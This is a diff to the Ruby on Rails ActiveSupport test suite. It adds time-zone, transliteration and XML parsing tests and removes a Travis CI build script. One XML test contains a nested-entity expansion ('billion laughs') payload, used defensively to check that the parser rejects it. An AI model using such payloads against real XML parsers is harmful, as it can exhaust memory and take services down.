+    twz = zone.iso8601("1883-12-31T19:00:00")
+    assert_equal [0, 0, 19, 31, 12, 1883], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_far_future_date_with_time_zone_offset_in_string
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("2050-12-31T19:00:00-10:00") # i.e., 2050-01-01 05:00:00 UTC
+    assert_equal [0, 0, 0, 1, 1, 2051], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_should_not_black_out_system_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.iso8601("2012-03-25T03:29:00")
+      assert_equal [0, 29, 3, 25, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_iso8601_should_black_out_app_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.iso8601("2012-03-11T02:29:00")
+      assert_equal [0, 29, 3, 11, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_iso8601_doesnt_use_local_dst
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["UTC"]
+      twz = zone.iso8601("2013-03-10T02:00:00")
+      assert_equal Time.utc(2013, 3, 10, 2, 0, 0), twz.time
+    end
+  end
+
+  def test_iso8601_handles_dst_jump
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      twz = zone.iso8601("2013-03-10T02:00:00")
+      assert_equal Time.utc(2013, 3, 10, 3, 0, 0), twz.time
+    end
+  end
+
+  def test_iso8601_with_ambiguous_time
+    zone = ActiveSupport::TimeZone["Moscow"]
+    assert_equal Time.utc(2014, 10, 25, 22, 0, 0), zone.parse("2014-10-26T01:00:00")
+  end
+
+  def test_iso8601_with_ordinal_date_value
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    twz = zone.iso8601("21087")
+    assert_equal Time.utc(2021, 3, 28, 0, 0, 0), twz.time
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_iso8601_with_invalid_ordinal_date_value
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.iso8601("21367")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
   def test_parse
     zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
     twz = zone.parse("1999-12-31 19:00:00")
@@ -224,7 +402,7 @@ def test_parse
   end
 
   def test_parse_string_with_timezone
-    (-11..13).each do |timezone_offset|
+    (-12..13).each do |timezone_offset|
       zone = ActiveSupport::TimeZone[timezone_offset]
       twz = zone.parse("1999-12-31 19:00:00")
       assert_equal twz, zone.parse(twz.to_s)
@@ -314,6 +492,114 @@ def test_parse_handles_dst_jump
     end
   end
 
+  def test_parse_with_invalid_date
+    zone = ActiveSupport::TimeZone["UTC"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.parse("9000")
+    end
+
+    assert_equal "argument out of range", exception.message
+  end
+
+  def test_parse_with_ambiguous_time
+    zone = ActiveSupport::TimeZone["Moscow"]
+    assert_equal Time.utc(2014, 10, 25, 22, 0, 0), zone.parse("2014-10-26 01:00:00")
+  end
+
+  def test_rfc3339
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.rfc3339("1999-12-31T14:00:00-10:00")
+    assert_equal Time.utc(1999, 12, 31, 19), twz.time
+    assert_equal Time.utc(2000), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_rfc3339_with_fractional_seconds
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.iso8601("1999-12-31T14:00:00.750-10:00")
+    assert_equal 750000, twz.time.usec
+    assert_equal Time.utc(1999, 12, 31, 19, 0, 0 + Rational(3, 4)), twz.time
+    assert_equal Time.utc(2000, 1, 1, 0, 0, 0 + Rational(3, 4)), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_rfc3339_with_missing_time
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.rfc3339("1999-12-31")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_rfc3339_with_missing_offset
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.rfc3339("1999-12-31T19:00:00")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_rfc3339_with_invalid_string
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.rfc3339("foobar")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_rfc3339_with_old_date
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.rfc3339("1883-12-31T19:00:00-05:00")
+    assert_equal [0, 0, 19, 31, 12, 1883], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_rfc3339_far_future_date_with_time_zone_offset_in_string
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.rfc3339("2050-12-31T19:00:00-10:00") # i.e., 2050-01-01 05:00:00 UTC
+    assert_equal [0, 0, 0, 1, 1, 2051], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_rfc3339_should_not_black_out_system_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.rfc3339("2012-03-25T03:29:00-07:00")
+      assert_equal [0, 29, 3, 25, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_rfc3339_should_black_out_app_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.rfc3339("2012-03-11T02:29:00-08:00")
+      assert_equal [0, 29, 3, 11, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_rfc3339_doesnt_use_local_dst
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["UTC"]
+      twz = zone.rfc3339("2013-03-10T02:00:00Z")
+      assert_equal Time.utc(2013, 3, 10, 2, 0, 0), twz.time
+    end
+  end
+
+  def test_rfc3339_handles_dst_jump
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      twz = zone.iso8601("2013-03-10T02:00:00-05:00")
+      assert_equal Time.utc(2013, 3, 10, 3, 0, 0), twz.time
+    end
+  end
+
   def test_strptime
     zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
     twz = zone.strptime("1999-12-31 12:00:00", "%Y-%m-%d %H:%M:%S")
@@ -413,6 +699,11 @@ def test_strptime_with_timestamp_milliseconds
     end
   end
 
+  def test_strptime_with_ambiguous_time
+    zone = ActiveSupport::TimeZone["Moscow"]
+    assert_equal Time.utc(2014, 10, 25, 22, 0, 0), zone.strptime("2014-10-26 01:00:00", "%Y-%m-%d %H:%M:%S")
+  end
+
   def test_utc_offset_lazy_loaded_from_tzinfo_when_not_passed_in_to_initialize
     tzinfo = TZInfo::Timezone.get("America/New_York")
     zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo)
@@ -490,6 +781,13 @@ def test_zone_match
     assert zone !~ /Nonexistent_Place/
   end
 
+  def test_zone_match?
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    assert zone.match?(/Eastern/)
+    assert zone.match?(/New_York/)
+    assert_not zone.match?(/Nonexistent_Place/)
+  end
+
   def test_to_s
     assert_equal "(GMT+05:30) New Delhi", ActiveSupport::TimeZone["New Delhi"].to_s
   end
@@ -501,6 +799,28 @@ def test_all_sorted
     end
   end
 
+  def test_all_uninfluenced_by_time_zone_lookups_delegated_to_tzinfo
+    ActiveSupport::TimeZone.clear
+    galapagos = ActiveSupport::TimeZone["Pacific/Galapagos"]
+    all_zones = ActiveSupport::TimeZone.all
+    assert_not_includes all_zones, galapagos
+  end
+
+  def test_all_doesnt_raise_exception_with_missing_tzinfo_data
+    mappings = {
+      "Puerto Rico" => "America/Unknown",
+      "Pittsburgh"  => "America/New_York"
+    }
+
+    with_tz_mappings(mappings) do
+      assert_nil ActiveSupport::TimeZone["Puerto Rico"]
+      assert_nil ActiveSupport::TimeZone[-9]
+      assert_nothing_raised do
+        ActiveSupport::TimeZone.all
+      end
+    end
+  end
+
   def test_index
     assert_nil ActiveSupport::TimeZone["bogus"]
     assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone["Central Time (US & Canada)"]
@@ -532,12 +852,78 @@ def test_country_zones
     assert_not_includes ActiveSupport::TimeZone.country_zones(:ru), ActiveSupport::TimeZone["Kuala Lumpur"]
   end
 
+  def test_country_zones_with_and_without_mappings
+    assert_includes ActiveSupport::TimeZone.country_zones("au"), ActiveSupport::TimeZone["Adelaide"]
+    assert_includes ActiveSupport::TimeZone.country_zones("au"), ActiveSupport::TimeZone["Australia/Lord_Howe"]
+  end
+
+  def test_country_zones_with_multiple_mappings
+    assert_includes ActiveSupport::TimeZone.country_zones("gb"), ActiveSupport::TimeZone["Edinburgh"]
+    assert_includes ActiveSupport::TimeZone.country_zones("gb"), ActiveSupport::TimeZone["London"]
+  end
+
+  def test_country_zones_without_mappings
+    assert_includes ActiveSupport::TimeZone.country_zones(:sv), ActiveSupport::TimeZone["America/El_Salvador"]
+  end
+
   def test_to_yaml
     assert_equal("--- !ruby/object:ActiveSupport::TimeZone\nname: Pacific/Honolulu\n", ActiveSupport::TimeZone["Hawaii"].to_yaml)
     assert_equal("--- !ruby/object:ActiveSupport::TimeZone\nname: Europe/London\n", ActiveSupport::TimeZone["Europe/London"].to_yaml)
   end
 
   def test_yaml_load
-    assert_equal(ActiveSupport::TimeZone["Pacific/Honolulu"], YAML.load("--- !ruby/object:ActiveSupport::TimeZone\nname: Pacific/Honolulu\n"))
+    payload = "--- !ruby/object:ActiveSupport::TimeZone\nname: Pacific/Honolulu\n"
+    loaded = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
+    assert_equal(ActiveSupport::TimeZone["Pacific/Honolulu"], loaded)
+  end
+
+  def test_abbr
+    zone = ActiveSupport::TimeZone["America/Toronto"]
+    assert_equal "EST", zone.abbr(Time.utc(2000, 4, 2, 6))
+    assert_equal "EDT", zone.abbr(Time.utc(2000, 4, 2, 7))
+    assert_equal "EDT", zone.abbr(Time.utc(2000, 4, 2, 8))
+    assert_equal "EDT", zone.abbr(Time.utc(2000, 10, 29, 5))
+    assert_equal "EST", zone.abbr(Time.utc(2000, 10, 29, 6))
+    assert_equal "EST", zone.abbr(Time.utc(2000, 10, 29, 7))
+  end
+
+  def test_dst
+    zone = ActiveSupport::TimeZone["America/Toronto"]
+    assert_equal false, zone.dst?(Time.utc(2000, 4, 2, 6))
+    assert_equal true,  zone.dst?(Time.utc(2000, 4, 2, 7))
+    assert_equal true,  zone.dst?(Time.utc(2000, 4, 2, 8))
+    assert_equal true,  zone.dst?(Time.utc(2000, 10, 29, 5))
+    assert_equal false, zone.dst?(Time.utc(2000, 10, 29, 6))
+    assert_equal false, zone.dst?(Time.utc(2000, 10, 29, 7))
+  end
+
+  def test_works_as_ruby_time_zone
+    zone = ActiveSupport::TimeZone["America/Toronto"]
+    time = Time.new(2000, 1, 1, 1, in: zone)
+    assert_same zone, time.zone
+    assert_equal "2000-01-01T01:00:00-05:00", time.iso8601
+    assert_equal(-18000, time.utc_offset)
+    assert_equal "EST", time.strftime("%Z")
+    assert_equal false, time.isdst
+
+    time = Time.new(2000, 6, 1, 1, in: zone)
+    assert_same zone, time.zone
+    assert_equal "2000-06-01T01:00:00-04:00", time.iso8601
+    assert_equal(-14400, time.utc_offset)
+    assert_equal "EDT", time.strftime("%Z")
+    assert_equal true, time.isdst
+
+    time = Time.at(959835600, in: zone)
+    assert_same zone, time.zone
+    assert_equal "2000-06-01T01:00:00-04:00", time.iso8601
+    assert_equal(-14400, time.utc_offset)
+    assert_equal "EDT", time.strftime("%Z")
+    assert_equal true, time.isdst
+  end
+
+  def test_standard_name
+    assert_equal "America/New_York", ActiveSupport::TimeZone["Eastern Time (US & Canada)"].standard_name
+    assert_equal "America/Montevideo", ActiveSupport::TimeZone["Montevideo"].standard_name
+    assert_equal "America/Toronto", ActiveSupport::TimeZone["America/Toronto"].standard_name
   end
 end
diff --git a/activesupport/test/time_zone_test_helpers.rb b/activesupport/test/time_zone_test_helpers.rb
index e1d615d154f83..f9efbe22d76ad 100644
--- a/activesupport/test/time_zone_test_helpers.rb
+++ b/activesupport/test/time_zone_test_helpers.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module TimeZoneTestHelpers
   def with_tz_default(tz = nil)
     old_tz = Time.zone
@@ -13,12 +15,24 @@ def with_env_tz(new_tz = "US/Eastern")
   ensure
     old_tz ? ENV["TZ"] = old_tz : ENV.delete("TZ")
   end
+  def with_tz_mappings(mappings)
+    old_mappings = ActiveSupport::TimeZone::MAPPING.dup
+    ActiveSupport::TimeZone.clear
+    ActiveSupport::TimeZone::MAPPING.clear
+    ActiveSupport::TimeZone::MAPPING.merge!(mappings)
+
+    yield
+  ensure
+    ActiveSupport::TimeZone.clear
+    ActiveSupport::TimeZone::MAPPING.clear
+    ActiveSupport::TimeZone::MAPPING.merge!(old_mappings)
+  end
 
-  def with_preserve_timezone(value)
-    old_preserve_tz = ActiveSupport.to_time_preserves_timezone
-    ActiveSupport.to_time_preserves_timezone = value
+  def with_utc_to_local_returns_utc_offset_times(value)
+    old_tzinfo2_format = ActiveSupport.utc_to_local_returns_utc_offset_times
+    ActiveSupport.utc_to_local_returns_utc_offset_times = value
     yield
   ensure
-    ActiveSupport.to_time_preserves_timezone = old_preserve_tz
+    ActiveSupport.utc_to_local_returns_utc_offset_times = old_tzinfo2_format
   end
 end
diff --git a/activesupport/test/transliterate_test.rb b/activesupport/test/transliterate_test.rb
index 466b69bceff68..8360952dee822 100644
--- a/activesupport/test/transliterate_test.rb
+++ b/activesupport/test/transliterate_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/inflector/transliterate"
 
 class TransliterateTest < ActiveSupport::TestCase
@@ -28,6 +30,12 @@ def test_transliterate_should_work_with_custom_i18n_rules_and_uncomposed_utf8
     I18n.locale = default_locale
   end
 
+  def test_transliterate_respects_the_locale_argument
+    char = [117, 776].pack("U*") # "ü" as ASCII "u" plus COMBINING DIAERESIS
+    I18n.backend.store_translations(:de, i18n: { transliterate: { rule: { "ü" => "ue" } } })
+    assert_equal "ue", ActiveSupport::Inflector.transliterate(char, locale: :de)
+  end
+
   def test_transliterate_should_allow_a_custom_replacement_char
     assert_equal "a*b", ActiveSupport::Inflector.transliterate("aç´¢b", "*")
   end
@@ -49,4 +57,60 @@ def test_transliterate_handles_unknown_object
     end
     assert_equal "Can only transliterate strings. Received Object", exception.message
   end
+
+  def test_transliterate_handles_strings_with_valid_utf8_encodings
+    string = String.new("A", encoding: Encoding::UTF_8).freeze
+    assert_equal "A", ActiveSupport::Inflector.transliterate(string)
+  end
+
+  def test_transliterate_handles_strings_with_valid_us_ascii_encodings
+    string = String.new("A", encoding: Encoding::US_ASCII).freeze
+    transcoded = ActiveSupport::Inflector.transliterate(string)
+    assert_equal "A", transcoded
+    assert_equal Encoding::US_ASCII, transcoded.encoding
+  end
+
+  def test_transliterate_handles_strings_with_valid_gb18030_encodings
+    string = String.new("A", encoding: Encoding::GB18030).freeze
+    transcoded = ActiveSupport::Inflector.transliterate(string)
+    assert_equal "A", transcoded
+    assert_equal Encoding::GB18030, transcoded.encoding
+  end
+
+  def test_transliterate_handles_strings_with_incompatible_encodings
+    incompatible_encodings = Encoding.list - [
+      Encoding::UTF_8,
+      Encoding::US_ASCII,
+      Encoding::GB18030
+    ]
+    incompatible_encodings.each do |encoding|
+      string = String.new("", encoding: encoding).freeze
+      exception = assert_raises ArgumentError do
+        ActiveSupport::Inflector.transliterate(string)
+      end
+      assert_equal "Cannot transliterate strings with #{encoding} encoding", exception.message
+    end
+  end
+
+  def test_transliterate_handles_strings_with_invalid_utf8_bytes
+    string = String.new("\255", encoding: Encoding::UTF_8).freeze
+    assert_equal "?", ActiveSupport::Inflector.transliterate(string)
+  end
+
+  def test_transliterate_handles_strings_with_invalid_us_ascii_bytes
+    string = String.new("\255", encoding: Encoding::US_ASCII).freeze
+    assert_equal "?", ActiveSupport::Inflector.transliterate(string)
+  end
+
+  def test_transliterate_handles_strings_with_invalid_gb18030_bytes
+    string = String.new("\255", encoding: Encoding::GB18030).freeze
+    assert_equal "?", ActiveSupport::Inflector.transliterate(string)
+  end
+
+  def test_transliterate_returns_a_copy_of_ascii_strings
+    string = "Test String".dup
+    assert_not string.frozen?
+    assert_predicate string, :ascii_only?
+    assert_not_equal string.object_id, ActiveSupport::Inflector.transliterate(string).object_id
+  end
 end
diff --git a/activesupport/test/xml_mini/jdom_engine_test.rb b/activesupport/test/xml_mini/jdom_engine_test.rb
index e783cea67c872..97a533aafba9a 100644
--- a/activesupport/test/xml_mini/jdom_engine_test.rb
+++ b/activesupport/test/xml_mini/jdom_engine_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require_relative "xml_mini_engine_test"
 
 XMLMiniEngineTest.run_with_platform("java") do
   class JDOMEngineTest < XMLMiniEngineTest
-    FILES_DIR = File.dirname(__FILE__) + "/../fixtures/xml"
+    FILES_DIR = File.expand_path("../fixtures/xml", __dir__)
 
     def test_not_allowed_to_expand_entities_to_files
       attack_xml = <<-EOT
diff --git a/activesupport/test/xml_mini/libxml_engine_test.rb b/activesupport/test/xml_mini/libxml_engine_test.rb
index f3394ad7f2907..3eef3946a35cb 100644
--- a/activesupport/test/xml_mini/libxml_engine_test.rb
+++ b/activesupport/test/xml_mini/libxml_engine_test.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 require_relative "xml_mini_engine_test"
 
 XMLMiniEngineTest.run_with_gem("libxml") do
   class LibxmlEngineTest < XMLMiniEngineTest
     def setup
       super
-      LibXML::XML::Error.set_handler(&lambda { |error| }) #silence libxml, exceptions will do
+      LibXML::XML::Error.set_handler(&lambda { |error| }) # silence libxml, exceptions will do
     end
 
     private
diff --git a/activesupport/test/xml_mini/libxmlsax_engine_test.rb b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
index f457e160d6ea9..8e4a30a48e17d 100644
--- a/activesupport/test/xml_mini/libxmlsax_engine_test.rb
+++ b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "xml_mini_engine_test"
 
 XMLMiniEngineTest.run_with_gem("libxml") do
diff --git a/activesupport/test/xml_mini/nokogiri_engine_test.rb b/activesupport/test/xml_mini/nokogiri_engine_test.rb
index 3151e75fc06b0..f1584bcedf243 100644
--- a/activesupport/test/xml_mini/nokogiri_engine_test.rb
+++ b/activesupport/test/xml_mini/nokogiri_engine_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "xml_mini_engine_test"
 
 XMLMiniEngineTest.run_with_gem("nokogiri") do
diff --git a/activesupport/test/xml_mini/nokogirisax_engine_test.rb b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
index 7dafbdaf48d7e..f38a56e83ba59 100644
--- a/activesupport/test/xml_mini/nokogirisax_engine_test.rb
+++ b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "xml_mini_engine_test"
 
 XMLMiniEngineTest.run_with_gem("nokogiri") do
diff --git a/activesupport/test/xml_mini/rexml_engine_test.rb b/activesupport/test/xml_mini/rexml_engine_test.rb
index c51f0d3c20919..b711619ba7aaf 100644
--- a/activesupport/test/xml_mini/rexml_engine_test.rb
+++ b/activesupport/test/xml_mini/rexml_engine_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require_relative "xml_mini_engine_test"
 
 class REXMLEngineTest < XMLMiniEngineTest
@@ -10,7 +12,7 @@ def test_parse_from_empty_string
   end
 
   def test_parse_from_frozen_string
-    xml_string = "<root></root>".freeze
+    xml_string = "<root></root>"
     assert_equal({ "root" => {} }, ActiveSupport::XmlMini.parse(xml_string))
   end
 
diff --git a/activesupport/test/xml_mini/xml_mini_engine_test.rb b/activesupport/test/xml_mini/xml_mini_engine_test.rb
index 5be9084c9df35..c795457e9b495 100644
--- a/activesupport/test/xml_mini/xml_mini_engine_test.rb
+++ b/activesupport/test/xml_mini/xml_mini_engine_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/xml_mini"
 require "active_support/core_ext/hash/conversions"
 
@@ -48,7 +50,7 @@ def test_file_from_xml
 
     def test_exception_thrown_on_expansion_attack
       assert_raise expansion_attack_error do
-        Hash.from_xml(<<-eoxml)
+        Hash.from_xml(<<~eoxml)
           <?xml version="1.0" encoding="UTF-8"?>
           <!DOCTYPE member [
             <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
@@ -62,7 +64,7 @@ def test_exception_thrown_on_expansion_attack
           <member>
             &a;
           </member>
-      eoxml
+        eoxml
       end
     end
 
@@ -75,6 +77,11 @@ def test_blank_returns_empty_hash
       assert_equal({}, ActiveSupport::XmlMini.parse(""))
     end
 
+    def test_parse_from_frozen_string
+      xml_string = "<root/>"
+      assert_equal({ "root" => {} }, ActiveSupport::XmlMini.parse(xml_string))
+    end
+
     def test_array_type_makes_an_array
       assert_equal_rexml(<<-eoxml)
         <blog>
diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb
index b8caa1d74c0a1..56f5d87413b47 100644
--- a/activesupport/test/xml_mini_test.rb
+++ b/activesupport/test/xml_mini_test.rb
@@ -1,8 +1,12 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/xml_mini"
 require "active_support/builder"
 require "active_support/core_ext/hash"
 require "active_support/core_ext/big_decimal"
+require "active_support/core_ext/date/conversions"
+require "active_support/core_ext/integer/time"
 require "yaml"
 
 module XmlMiniTest
@@ -112,7 +116,7 @@ def to_xml(options) options[:builder].yo(options[:root].to_s) end
     end
 
     test "#to_tag accepts decimal types" do
-      @xml.to_tag(:b, ::BigDecimal.new("1.2"), @options)
+      @xml.to_tag(:b, BigDecimal("1.2"), @options)
       assert_xml("<b type=\"decimal\">1.2</b>")
     end
 
@@ -131,6 +135,20 @@ def to_xml(options) options[:builder].yo(options[:root].to_s) end
       assert_xml("<b type=\"dateTime\">1993-02-24T12:00:00+09:00</b>")
     end
 
+    test "#to_tag accepts ActiveSupport::TimeWithZone types" do
+      time = ActiveSupport::TimeWithZone.new(Time.new(1993, 02, 24, 12, 0, 0, "+09:00"), ActiveSupport::TimeZone["Europe/Paris"])
+      ActiveSupport::TimeWithZone.stub(:name, "ActiveSupport::TimeWithZone") do
+        @xml.to_tag(:b, time, @options)
+        assert_xml("<b type=\"dateTime\">1993-02-24T13:00:00+01:00</b>")
+      end
+    end
+
+    test "#to_tag accepts duration types" do
+      duration = 3.years + 6.months + 4.days + 12.hours + 30.minutes + 5.seconds
+      @xml.to_tag(:b, duration, @options)
+      assert_xml("<b type=\"duration\">P3Y6M4DT12H30M5S</b>")
+    end
+
     test "#to_tag accepts array types" do
       @xml.to_tag(:b, ["first_name", "last_name"], @options)
       assert_xml("<b type=\"array\"><b>first_name</b><b>last_name</b></b>")
@@ -256,6 +274,15 @@ def test_datetime
       assert_raises(ArgumentError) { parser.call("1384190018") }
     end
 
+    def test_duration
+      parser = @parsing["duration"]
+
+      assert_equal 1, parser.call("PT1S")
+      assert_equal 1.minutes, parser.call("PT1M")
+      assert_equal 3.years + 6.months + 4.days + 12.hours + 30.minutes + 5.seconds, parser.call("P3Y6M4DT12H30M5S")
+      assert_raises(ArgumentError) { parser.call("not really a duration") }
+    end
+
     def test_integer
       parser = @parsing["integer"]
       assert_equal 123, parser.call(123)
@@ -283,7 +310,7 @@ def test_decimal
       assert_equal 123.0, parser.call("123,003")
       assert_equal 0.0, parser.call("")
       assert_equal 123, parser.call(123)
-      assert_raises(ArgumentError) { parser.call(123.04) }
+      assert_equal BigDecimal("123.04"), parser.call(123.04)
       assert_raises(ArgumentError) { parser.call(Date.new(2013, 11, 12, 02, 11)) }
     end
 
@@ -326,6 +353,18 @@ def test_yaml
       assert_equal({ "1 => 'test'" => nil }, parser.call("{1 => 'test'}"))
     end
 
+    def test_hexBinary
+      expected = "Hello, World!"
+      hex_binary = "48656C6C6F2C20576F726C6421"
+
+      parser = @parsing["hexBinary"]
+      assert_equal expected, parser.call(hex_binary)
+
+      parser = @parsing["binary"]
+      assert_equal expected, parser.call(hex_binary, "encoding" => "hexBinary")
+      assert_equal expected, parser.call(hex_binary, "encoding" => "hex")
+    end
+
     def test_base64Binary_and_binary
       base64 = <<BASE64
 TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlz
diff --git a/bin/test b/bin/test
new file mode 100755
index 0000000000000..f2a1366e31f3c
--- /dev/null
+++ b/bin/test
@@ -0,0 +1,16 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+raw_directory = ARGV.first.split("/").first
+directory = File.join(raw_directory, "/")
+args = ARGV.filter_map do |arg|
+  if arg == raw_directory
+    nil
+  else
+    arg.delete_prefix(directory)
+  end
+end
+
+ENV["RAILS_TEST_PWD"] = Dir.pwd
+Dir.chdir(directory)
+exec("bin/test", *args)
diff --git a/ci/travis.rb b/ci/travis.rb
deleted file mode 100755
index c49a87d8640cb..0000000000000
--- a/ci/travis.rb
+++ /dev/null
@@ -1,172 +0,0 @@
-#!/usr/bin/env ruby
-require "fileutils"
-include FileUtils
-
-commands = [
-  'mysql -e "create database activerecord_unittest;"',
-  'mysql -e "create database activerecord_unittest2;"',
-  'psql  -c "create database activerecord_unittest;" -U postgres',
-  'psql  -c "create database activerecord_unittest2;" -U postgres'
-]
-
-commands.each do |command|
-  system("#{command} > /dev/null 2>&1")
-end
-
-class Build
-  MAP = {
-    "railties" => "railties",
-    "ap"       => "actionpack",
-    "am"       => "actionmailer",
-    "amo"      => "activemodel",
-    "as"       => "activesupport",
-    "ar"       => "activerecord",
-    "av"       => "actionview",
-    "aj"       => "activejob",
-    "ac"       => "actioncable",
-    "guides"   => "guides"
-  }
-
-  attr_reader :component, :options
-
-  def initialize(component, options = {})
-    @component = component
-    @options = options
-  end
-
-  def run!(options = {})
-    self.options.update(options)
-    Dir.chdir(dir) do
-      announce(heading)
-      if guides?
-        run_bug_report_templates
-      else
-        rake(*tasks)
-      end
-    end
-  end
-
-  def announce(heading)
-    puts "\n\e[1;33m[Travis CI] #{heading}\e[m\n"
-  end
-
-  def heading
-    heading = [gem]
-    heading << "with #{adapter}" if activerecord?
-    heading << "in isolation" if isolated?
-    heading << "integration" if integration?
-    heading.join(" ")
-  end
-
-  def tasks
-    if activerecord?
-      tasks = ["#{adapter}:#{'isolated_' if isolated?}test"]
-      case adapter
-      when "mysql2"
-        tasks.unshift "db:mysql:rebuild"
-      when "postgresql"
-        tasks.unshift "db:postgresql:rebuild"
-      end
-      tasks
-    else
-      ["test", ("isolated" if isolated?), ("integration" if integration?)].compact.join(":")
-    end
-  end
-
-  def key
-    key = [gem]
-    key << adapter if activerecord?
-    key << "isolated" if isolated?
-    key.join(":")
-  end
-
-  def activesupport?
-    gem == "activesupport"
-  end
-
-  def activerecord?
-    gem == "activerecord"
-  end
-
-  def guides?
-    gem == "guides"
-  end
-
-  def isolated?
-    options[:isolated]
-  end
-
-  def integration?
-    component.split(":").last == "integration"
-  end
-
-  def gem
-    MAP[component.split(":").first]
-  end
-  alias :dir :gem
-
-  def adapter
-    component.split(":").last
-  end
-
-  def rake(*tasks)
-    tasks.each do |task|
-      cmd = "bundle exec rake #{task}"
-      puts "Running command: #{cmd}"
-      return false unless system(env, cmd)
-    end
-    true
-  end
-
-  def env
-    if activesupport? && !isolated?
-      # There is a known issue with the listen tests that causes files to be
-      # incorrectly GC'ed even when they are still in-use. The current solution
-      # is to only run them in isolation to avoid randomly failing our test suite.
-      { "LISTEN" => "0" }
-    else
-      {}
-    end
-  end
-
-  def run_bug_report_templates
-    Dir.glob("bug_report_templates/*.rb").all? do |file|
-      system(Gem.ruby, "-w", file)
-    end
-  end
-end
-
-if ENV["GEM"] == "aj:integration"
-  ENV["QC_DATABASE_URL"]  = "postgres://postgres@localhost/active_jobs_qc_int_test"
-  ENV["QUE_DATABASE_URL"] = "postgres://postgres@localhost/active_jobs_que_int_test"
-end
-
-results = {}
-
-ENV["GEM"].split(",").each do |gem|
-  [false, true].each do |isolated|
-    next if ENV["TRAVIS_PULL_REQUEST"] && ENV["TRAVIS_PULL_REQUEST"] != "false" && isolated
-    next if gem == "railties" && isolated
-    next if gem == "ac" && isolated
-    next if gem == "ac:integration" && isolated
-    next if gem == "aj:integration" && isolated
-    next if gem == "guides" && isolated
-
-    build = Build.new(gem, isolated: isolated)
-    results[build.key] = build.run!
-
-  end
-end
-
-failures = results.select { |key, value| !value  }
-
-if failures.empty?
-  puts
-  puts "Rails build finished successfully"
-  exit(true)
-else
-  puts
-  puts "Rails build FAILED"
-  puts "Failed components: #{failures.map(&:first).join(', ')}"
-  exit(false)
-end
